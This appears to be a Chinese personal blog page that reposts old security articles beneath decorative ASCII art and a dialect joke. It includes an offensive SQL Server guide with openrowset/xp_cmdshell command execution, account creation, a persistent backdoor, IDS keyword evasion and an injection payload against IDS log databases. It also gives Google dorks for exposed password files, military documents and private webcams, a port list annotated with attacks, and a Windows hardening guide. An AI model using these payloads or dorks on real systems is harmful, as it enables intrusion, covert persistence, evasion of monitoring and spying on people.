飛雪連天射白鹿，笑書神俠倚碧鸳
ｗǒ想啝伱ミ談一场轰轰烈烈の〈愛情〉
个人形象
被遗忘的传说 (
自我介绍
是的∴°★．☆° ．★·°∴°★．° ．·。∴°
☆ ．·°∴° ☆．．·°∴°．☆°★°∴°
°∴ 那怕星际无垠 ☆° ．·★°∴°．°°
∴°．°★ ．·°∴°．°∴°．★☆° ．·
°．☆° ．★·我也要追到你 °．°°．★
．·°∴★°．°∴°．☆° ．·
( ( )::::: 东边日出西边雨
(_, ＼ ) ,_):: 道是无晴却有情 |
:::-＇--`--:::::::: ~~| , ＼ _ /
::::::::::::::::::: ,|`-._/| -== (_) ==-
::::::::^^::::::::.＇ | /||＼ / ＼
::::::^^::::::::.＇ | ./ ||`＼ |
:::::::::::::::/ `-. |/._ || ＼
::::::::::::::| || || ＼
~~=~_~^~ =~ ＼~~~~~~~＇~~~~＇~~~~/~~`` ~=~^~
~^^~~-=~^~ ^ `--------------＇~^......
状态
- 积分:8995分
- 魅力指数:100点
- 人气指数:613点
- 留言评论:31条
相册
我的更新
[置顶]有一种感情叫无缘,有一种放弃叫成全 2009-03-14 21:13
[置顶]2007-06-07的日记 2007-06-07 12:26
[置顶]2007-05-29的日记 2007-05-29 20:23
[置顶]2007-05-31的日记 2007-05-31 20:10
| 欢迎到桃花江， 修山， 三堂该， 鸬鹚渡， 奶栗港，武潭， 马迹狼， 杀牛江， 牛田， 松木狼， 源嘉桥，灰山港， 花果山， 牛劳河， 浮邱山，高桥， 许口山， 沾溪， 乌旗山，栗山河， 蚱埠回族， 罗家坪， 泗里河， 河溪水，全程有豪华慢慢游公车免费接送！五星级猪劳屋居住！还可以免费体验捡棉花、姥草、插央儿、等农家活动，还可参加打板、蓝蓝弓、踢箭de、滚铁湾、等民俗比赛！ 现在报名有精美真扫把一把赠送，还有高级瑞士楼劳一把哦！ 我们还给您安排了休闲活动：打拉机、斗地主、跑糊子、扎金花、打关牌、K十五、打乌归升级、麻将等！ 我们还特意给您安排了夜间活动，捉了渔、扎泥鳅、捉蛤毛的等！心动不如行动，赶快拿起你们的钞票出发吧…… 当地还有丰富的农特产：爷菜抄肉，朴辣椒抄肉，蒿子粑粑，毛宇，红朱片，许煮连酒等。 如果你不是益阳人能看懂这篇文章真的就是高手了。 |
| 1.关于Openrowset和Opendatasource 这个技巧应该早有人会了，就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下： select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在select后面，也就是说需要返回一个recordset 。 那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:''') 必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置，这样xp_cmdshell返回的output集合就会提交给前面的select显示，如果采用默认设置，会返回空集合导致select出错，命令也就无法执行了。 那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作 select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic') 这样，命令至少会返回select OK!'的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用 select 'OK!'的返回集合欺骗了本地的select请求，是命令能够正常执行，通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处，大家慢慢想吧。 2.关于Msdasql两次请求的问题 不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下： select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s elect * from table1 select * from table2') 当table1和table2的字段数目不相同时，你会发现对方的sqlserver崩溃了，连本地连接都会失败，而系统资源占用一切正常，用pskill杀死 sqlserver进程后，如果不重启机器，sqlserver要么无法正常启动，要么时常出现非法操作，我也只是碰巧找到这个bug的，具体原因我还没有摸透，而且很奇怪的是这个现象只出现在msdasql上，sqloledb就没有这个问题，看来问题不是在于请求集合数目和返回集合数目不匹配上，应该还是msdasql本身的问题，具体原因，大家一起慢慢研究吧。 3.可怕的后门 以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令： select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:''') 这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射，只要sqlserver不重启，这个映射会一直存在下去，至少我现在还不知道如何发现别人放置的连接映射，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest用户，运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过! 另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，一个是localserver一个是msqi，这两个在建立的时候是本地管理员账号连接sqlserver的，如果对方的 sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，但是我们通过如下的命令： select * from openrowset ('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:''') 应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了，这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管理员不让调用，所以我现在正在寻找guest调用msdasql 的方法。 如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被guest利用，将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。 4.利用T-sql骗过Ids或攻击Ids 现在的ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视，但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉。 先说说欺骗Ids ids既然监视xp_cmdshell关键字，那么我们可以这么做： declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:' 这个代码相信大家都能看明白，还有xp_cmdshell作为一个store procedure在master库内有一个id号，固定的，我们也可以这么做： 假设这个id=988456 declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:' 当然也可以： declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:' 这种做法排列组合，ids根本不可能做的到完全监视。同理，sp_addlogin也可以这么做。 再说说攻击Ids 因为ids数据量很大，日至通常备份到常规数据库，比如sql server。 如果用古老的recordset.addnew做法，会严重影响ids的性能，因为通过ado做t-sql请求，不但效率高，而且有一部分工作可以交给sql server 去做，通常程序会这么写： insert table values ('日至内容'，...) 那么我们想想看，如果用 temp') exec xp_cmdshell 'dir c:' -- 提交后会变成： insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:' -- ') 这样，xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成 。因此， 会被提交到sql server，这样你的命令就无法执行了。 唯一的办法就是： insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/-- ') 用/**/代替空格做间隔符，这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句，可以破坏，备份ids的数据库到你的共享目录，呵呵。 其实这种方法的原理和攻击asp是一样的，只是把空格变成了/**/ 。本来asp是select语句，那么用'就可以屏蔽。现在ids用insert语句，那么用')屏蔽。 好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是query analyzer了 |
| 美国人教你这样用Google，你真的会变特工！！！（看了才感叹原来这么多年的GOOGLE是白用了~这就是百度永远无法超越G的原因吧~） 大前提：英文Google→www.google.com 第一篇 在搜索框上输入：“indexof/”inurl:lib 再按搜索你将进入许多图书馆，并且一定能下载自己喜欢的书籍。 在搜索框上输入：“indexof/”cnki 再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！ 在搜索框上输入：“indexof/”ppt 再按搜索你就可以突破网站入口下载powerpint作品！ 在搜索框上输入：“indexof/”mp3 再按搜索你就可以突破网站入口下载mp3、rm等影视作品！ 在搜索框上输入：“indexof/”swf 再按搜索你就可以突破网站入口下载flash作品！ 在搜索框上输入：“indexof/”要下载的软件名 再按搜索你就可以突破网站入口下载软件！ 注意引号应是英文的！ 再透露一下，如果你输入： “indexof/”AVI 另补上第二篇 用GOOgle看世界!!!只要你在GOOGLE里输入特殊的关键字,就可以搜到数千个摄象头的IP地址!通过他你就可以看到其所摄的实时影象!! 在google里输入 inurl:"viewerframe?mode=" 随便打开一个,然后按提示装一个插件,就可以看到了!!! 再补上第三篇 三则黑客的Google搜索技巧简介 大家都知道，Google毫无疑问是当今世界上最强大的搜索引擎。然而，在黑客手中，它也是一个秘密武器，它能搜索到一些你意想不到的信息。赛迪编者把 他们进行了简单的总结不是希望您利用他去攻击别人的网站，而是利用这些技巧去在浩如烟海的网络信息中，来个大海捞针，寻找到对您有用的信息。 如果您是一名普通网民，您可以使用黑客的技巧扩大自己的视野，提高自己的检索效率；如果您是一名网管，请您赶快看看您的网站是否做好了对下面黑客探测手 段的防范措施，如果没有就赶快来个亡羊补牢，毕竟隐患胜于明火，防范胜于救灾；如果您是一名黑客，相信您早以在别的黑客站点上见过类似的方法，这篇文章对 您没什么用处，这里的技巧对您是小儿科，菜鸟级！您可以节省宝贵的时间做更有意义的事情，这篇文章您不用看了，到别处去吧！ 基于上面的考虑我编发了这篇文章。 搜索URL 比如我们提交这种形式：passwd.txtsite:virtualave.net 看到了什么？是不是觉得太不可思议了！有很多基于CGI/PHP/ASP类型的留言板存在这种问题。有时我们得到密码甚至还是明码的！管理员或许太不负 责了，或许安全防范的意识太差了，如果你是网络管理员，赶快检查一下不要让恶意攻击者捡了便宜。不要太相信DES加密，即使我们的密码经过DES加密的密 码，黑客们还是可以通过许多破解软件来搞定。 这次我们能得到包含密码的文件。“site:virtualave.net”意思是只搜索virutalave.net的URL。virutalave.net是一个网络服务器提供商。 同样，我们可以搜索一些顶级域名，比如：.net.org.jp.in.gr config.txtsite:.jp admin.txtsite:.tw 搜索首页的目录 首页是非常有用的，它会提供给你许多有用的信息。 我们提交如下的形式： "Indexof/admin" "Indexof/secret" "Indexof/cgi-bin"site:.edu 你可以自己定义搜索的首页字符。这样就可以获得许多信息。 搜索特定的文件类型 比如你想指定一种文件的类型，可以提交如下形式： filetype:.docsite:.milclassified 这个就是搜索军方的资料，你可以自定义搜索。 再提供一个第四篇 Google的特殊功能 1、查询电话号码 Google的搜索栏中最新加入了电话号码和美国街区地址的查询信息。 个人如想查找这些列表，只要填写姓名，城市和省份。 如果该信息为众人所知，你就会在搜索结果页面的最上方看到搜索的电话和街区地址 你还可以通过以下任何一种方法找到该列表： 名字（或首位大写字母），姓，电话地区号 名字（或首位大写字母），姓，邮递区号 名字（或首位大写字母），姓，城市（可写州） 名字（或首位大写字母），姓，州 电话号码，包括区号 名字，城市，州 名字，邮递区号 2、查找PDF文件 现在GOOGLE的搜索结果中包括了PDF文件。尽管PDF文件不如HTML文件那么多，但他们经常具备一些其他文件不具备的高质量信息 为了显示一个搜索结果是PDF文件而不是网页，PDF文件的标题开头显示蓝色文本。 这就是让你知道ACRTOBATREADER程序会启动来阅读文件 如果你的计算机没装有该程序，计算机会指导你去能免费下载该程序的网页。 使用PDF文件时，相关的网页快照会由“TEXTVERSION”代替，它是PDF文档的复制文件，该文件除去了所有格式化命令。 如果你在没有PDF链接的情况下想看一系列搜索结果，只要在搜索栏中打上-inurldf加上你的搜索条件。 3、股票报价 用Google查找股票和共有基金信息，只要输入一个或多个NYSE，NASDAQ，AMEX或 共有基金的股票行情自动收录机的代码，也可以输入在股市开户的公司名字。 如果Google识别出你查询的是股票或者共有基金，它回复的链接会直接连到高质量的金融信息提供者提供的股票和共有基金信息。 在你搜索结果的开头显示的是你查询的股市行情自动收录器的代码。如果你要查找一家公司的名字（比如，INTEL），请查看“股票报价”在Google搜索结果的金融栏里会有那个公司的主页的链接（比如， www. INTEL. COM）。 Google是以质量为基础来选择和决定金融信息提供者的，包括的因素有下载速度，用户界面及其功能。 4、找找谁和你链接 有些单词如果带有冒号就会有特殊的意思。比如link：操作员。查询link:siteURL，就会显示所有指向那个URL的网页。举例来说，链接 www. Google. com会向你显示所有指向GOOGLE主页的网页。但这种方法不能与关键字查询联合使用。 5、查找站点 单词site后面如果接上冒号就能够将你的搜索限定到某个网站。具体做法是：在c搜索栏中使用site:sampledomain.com这个语法结构。比如，在斯坦福找申请信息，输入： admissionsite: www. stanford. edu 6、查找字典释意 查找字典释意的方法是在搜索栏中输入你要查询的内容。在我们根据要求找到所有的字典释意都会标有下划线，位于搜索结果的上面，点击链接你会找到字典提供者根据要求给出的相关定义。7、用GOOLGE查找地图 想用Google查找街区地图，在Google搜索栏中输入美国街区地址，包括邮递区号或城市/州（比如165大学大街PALOALTOCA）。通常情况下，街区地址和城市的名字就足够了。 当Google识别你的要求是查找地图，它会反馈给你有高质量地图提供者提供的链接，使你直接找到相关地图。我们是以质量为基础选择这些地图提供者。值得注意的是Google和使用的地图信息提供者没有任何关联。 |
| 一个端口就是一个潜在的通讯通道，也是一个入侵通道，开放一个端口就是一台计算机在网络上打开了一扇窗户，黑客入侵的方法就是用手工扫描或利用扫描软件找到服务器所开放的端口，去根据其相应的漏洞对服务器进行入侵或攻击，因此对端口的了解是非常重要的。 端口大概分为三类： 1：公认端口（well known ports）:从0-1023，他们是绑定于一些服务。通常这些端口的通信明确表明了某种服务的协议。比如，21端口是FTP服务所开放的。 2：注册端口（registrerd ports）:从1024-49151，他们松散的绑定于一些服务也就是说有许多服务绑定于这些端口，这些端口同样用于许多其他目的。比如，许多系统处理动态端口是从1024开始的。 3：动态或私有端口（dynamic and/or private ports）:从49512-65535，理论上不应该为服务分配这些端口。实际上，计算机通常从1024开始分配动态端口。当然也有例外的，SUN的RPC端口从32768开始。 下边附常用端口列表： 0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描：使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。 1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户，如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。 7 Echo 你能看到许多人们搜索Fraggle放大器时，发送到x.x.x.0和x.x.x.255的信息。常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个机器的UDP数据包，而两个机器分别以它们最快的方式回应这些数据包。另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”，它与DNS的这一端口连接以确定最近的路由。Harvest/squid cache将从3130端口发送UDP echo：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。 11 sysstat 这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似。再说一遍：ICMP没有端口，ICMP port 11通常是ICMP type=11。 19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时，会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。 21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers 利用这些服务器作为传送warez (私有程序) 和pron的节点。 22 ssh PcAnywhere 建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式，许多使用RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）。还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632（十六进制的0x1600）位交换后是0x0016（使进制的22）。 23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术，入侵者会找到密码。 25 smtp 攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭，他们需要拨号连接到高带宽的e-mail服务器上，将简单的信息传递到不同的地址。SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。 53 DNS Hacker或crackers可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其它通讯。因此防火墙常常过滤或记录53端口。需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。 67&68 Bootp和DHCP UDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。 69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件，如密码文件。它们也可用于向系统写入文件。 79 finger Hacker用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。 80 HTTP服务器所用到的端口。 98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。此外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等） 109 POP2 并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个服务器上POP3的漏洞在POP2中同样存在。 110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个（这意味着Hacker可以在真正登陆前进入系统）。成功登陆后还有其它缓冲区溢出错误。 111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常见RPC服务有：rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer，你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。 113 Ident auth 这是一个许多机器上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息（会被Hacker利用）。但是它可作为许多服务的记录器，尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，你将会看到许多这个端口的连接请求。记住，如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST，着将回停止这一缓慢的连接。 119 NNTP news 新闻组传输协议，承载USENET通讯。当你链接到诸如：news://news.hackervip.com/. 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送spam。 135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时，它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如：这个机器上运行Exchange Server吗？是什么版本？这个端口除了被用来查询服务（如使用epdump）还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。 137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息。 139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。大量针对这一端口始于1999，后来逐渐变少。2000年又有回升。一些VBS（IE5 VisualBasic Scripting）开始将它们自己拷贝到这个端口，试图在这个端口繁殖。 143 IMAP 和上面POP3的安全问题一样，许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住：一种Linux蠕虫（admw0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后，这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。这一端口还被用于IMAP2，但并不流行。已有一些报道发现有些0到143端口的攻击源于脚本。 161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中，通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名，你会看见这种包在子网内广播（cable modem, DSL）查询sysName和其它信息。 162 SNMP trap 可能是由于错误配置 177 xdmcp 许多Hacker通过它访问X-Windows控制台， 它同时需要打开6000端口。 513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。 553 CORBA IIOP (UDP) 如果你使用cable modem或DSL VLAN，你将会看到这个端口的广播。CORBA是一种面向对象的RPC（remote procedure call）系统。Hacker会利用这些信息进入系统。 600 Pcserver backdoor 请查看1524端口。 一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal. 635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的，但基于TCP的mountd有所增加（mountd同时运行于两个端口）。记住，mountd可运行于任何端口（到底在哪个端口，需要在端口111做portmap查询），只是Linux默认为635端口，就象NFS通常运行于2049端口。 1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络，它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点，你可以重启机器，打开Telnet，再打开一个窗口运行“natstat -a”，你将会看到Telnet被分配1024端口。请求的程序越多，动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍，当你浏览Web页时用“netstat”查看，每个Web页需要一个新端口。 1025，1026 参见1024 1080 SOCKS 这一协议以管道方式穿过防火墙，允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到Internet。但是由于错误的配置，它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上的计算机，从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙，常会发生上述的错误配置。在加入IRC聊天室时常会看到这种情况。 1114 SQL 系统本身很少扫描这个端口，但常常是sscan脚本的一部分。 1243 Sub-7木马（TCP） 1433 MSSQL数据库服务端口 1524 ingreslock 后门许多攻击脚本将安装一个后门Shell于这个端口（尤其是那些针对Sun系统中sendmail和RPC服务漏洞的脚本，如statd, ttdbserver和cmsd）。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图，很可能是上述原因。你可以试试Telnet到你的机器上的这个端口，看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。 |
| 网络安全中谈到个人上网时的安全，还是先把大家可能会遇到的问题归个类吧。我们遇到的入侵方式大概包括了以下几种： (1) 被他人盗取密码； (2) 系统被木马攻击； (3) 浏览网页时被恶意的java scrpit程序攻击； (4) QQ被攻击或泄漏信息； (5) 病毒感染； (6) 系统存在漏洞使他人攻击自己。 (7) 黑客的恶意攻击。 下面我们就来看看通过什么样的手段来更有效的防范攻击。 1.察看本地共享资源 运行CMD输入net share，如果看到有异常的共享，那么应该关闭。但是有时你关闭共享下次开机的时候又出现了，那么你应该考虑一下，你的机器是否已经被黑客所控制了，或者中了病毒。 2.删除共享(每次输入一个） net share admin$/delete net share c$/delete net share d$/delete（如果有e，f，……可以继续删除） 3.删除ipc$空连接 在运行内输入regedit，在注册表中找到 HKEY-LOCAL_MACHINESYSTEMCurrentControSetControlLSA 项里数值名称RestrictAnonymous的数值数据由0改为1。 4.关闭自己的139端口，Ipc和RPC漏洞存在于此 关闭139端口的方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性，进入“高级TCP/IP设置”“WinS设置”里面有一项“禁用TCP/IP的NETBIOS”，打勾就关闭了139端口。 5．防止Rpc漏洞 打开管理工具——服务——找到RPC(Remote Procedure Call (RPC) Locator)服务——将故障恢复中的第一次失败，第二次失败，后续失败，都设置为不操作。 Windwos XP SP2和Windows2000 Pro Sp4，均不存在该漏洞。 6．445端口的关闭 修改注册表，添加一个键值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters在右面的窗口建立一个SMBDeviceEnabled 为REG_DWORD类型键值为 0这样就ok了。 7．3389的关闭 WindowsXP：我的电脑上点右键选属性-->远程，将里面的远程协助和远程桌面两个选项框里的勾去掉。 Win2000server 开始-->程序-->管理工具-->服务里找到Terminal Services服务项，选中属性选项将启动类型改成手动，并停止该服务。（该方法在XP同样适用） 使用Windows2000 Pro的朋友注意，网络上有很多文章说在Win2000pro 开始-->设置-->控制面板-->管理工具-->服务里找到Terminal Services服务项，选中属性选项将启动类型改成手动，并停止该服务，可以关闭3389，其实在2000pro 中根本不存在Terminal Services。 8．4899的防范 网络上有许多关于3389和4899的入侵方法。4899其实是一个远程控制软件所开启的服务端端口，由于这些控制软件功能强大，所以经常被黑客用来控制自己的肉鸡，而且这类软件一般不会被杀毒软件查杀，比后门还要安全。 4899不象3389那样，是系统自带的服务。需要自己安装，而且需要将服务端上传到入侵的电脑并运行服务，才能达到控制的目的。 所以只要你的电脑做了基本的安全配置，黑客是很难通过4899来控制你的。 9、禁用服务 打开控制面板，进入管理工具——服务，关闭以下服务： 1.Alerter[通知选定的用户和计算机管理警报] 2.ClipBook[启用“剪贴簿查看器”储存信息并与远程计算机共享] 3.Distributed File System[将分散的文件共享合并成一个逻辑名称，共享出去，关闭后远程计算机无 法访问共享 4.Distributed Link Tracking Server[适用局域网分布式链接] 5.Human Inte**ce Device Access[启用对人体学接口设备(HID)的通用输入访问] 6.IMAPI CD-Burning COM Service[管理 CD 录制] 7.Indexing Service[提供本地或远程计算机上文件的索引内容和属性，泄露信息] 8.Kerberos Key Distribution Center[授权协议登录网络] 9.License Logging[监视IIS和SQL如果你没安装IIS和SQL的话就停止] 10.Messenger[警报] 11.NetMeeting Remote Desktop Sharing[netmeeting公司留下的客户信息收集] 12.Network DDE[为在同一台计算机或不同计算机上运行的程序提供动态数据交换] 13.Network DDE DSDM[管理动态数据交换 (DDE) 网络共享] 14.Print Spooler[打印机服务，没有打印机就禁止吧] 15.Remote Desktop Help& nbsp;Session Manager[管理并控制远程协助] 16.Remote Registry[使远程计算机用户修改本地注册表] 17.Routing and Remote Access[在局域网和广域往提供路由服务.黑客理由路由服务刺探注册信息] 18.Server[支持此计算机通过网络的文件、打印、和命名管道共享] 19.Special Administration Console Helper[允许管理员使用紧急管理服务远程访问命令行提示符] 20.TCP/IPNetBIOS Helper[提供 TCP/IP 服务上的 NetBIOS 和网络上客户端的 NetBIOS 名称解析的支 持而使用户能够共享文件 、打印和登录到网络] 21.Telnet[允许远程用户登录到此计算机并运行程序] 22.Terminal Services[允许用户以交互方式连接到远程计算机] 23.Window s Image Acquisition (WIA)[照相服务，应用与数码摄象机] 如果发现机器开启了一些很奇怪的服务，如r_server这样的服务，必须马上停止该服务，因为这完全有可能是黑客使用控制程序的服务端。 10、账号密码的安全原则 首先禁用guest帐号，将系统内建的administrator帐号改名（改的越复杂越好，最好改成中文的），而且要设置一个密码，最好是8位以上字母数字符号组合。 如果你使用的是其他帐号，最好不要将其加进administrators，如果加入administrators组，一定也要设置一个足够安全的密码，同上如果你设置adminstrator的密码时，最好在安全模式下设置，因为经我研究发现，在系统中拥有最高权限的帐号，不是正常登陆下的adminitrator帐号，因为即使有了这个帐号，同样可以登陆安全模式，将sam文件删除，从而更改系统的administrator的密码！而在安全模式下设置的administrator则不会出现这种情况，因为不知道这个administrator密码是无法进入安全模式。权限达到最大这个是密码策略：用户可以根据自己的习惯设置密码，下面是我建议的设置。 打开管理工具—本地安全设置—密码策略： 1.密码必须符合复杂要求性.启用 2.密码最小值.我设置的是8 3.密码最长使用期限.我是默认设置42天 4.密码最短使用期限0天 5.强制密码历史 记住0个密码 6.用可还原的加密来存储密码 禁用 11、本地策略 这个很重要，可以帮助我们发现那些心存叵测的人的一举一动，还可以帮助我们将来追查黑客。 (虽然一般黑客都会在走时会清除他在你电脑中留下的痕迹，不过也有一些不小心的) 打开管理工具，找到本地安全设置—本地策略—审核策略： 1.审核策略更改 成功失败 2.审核登陆事件 成功失败 3.审核对象访问 失败 4.审核跟踪过程 无审核 5.审核目录服务访问 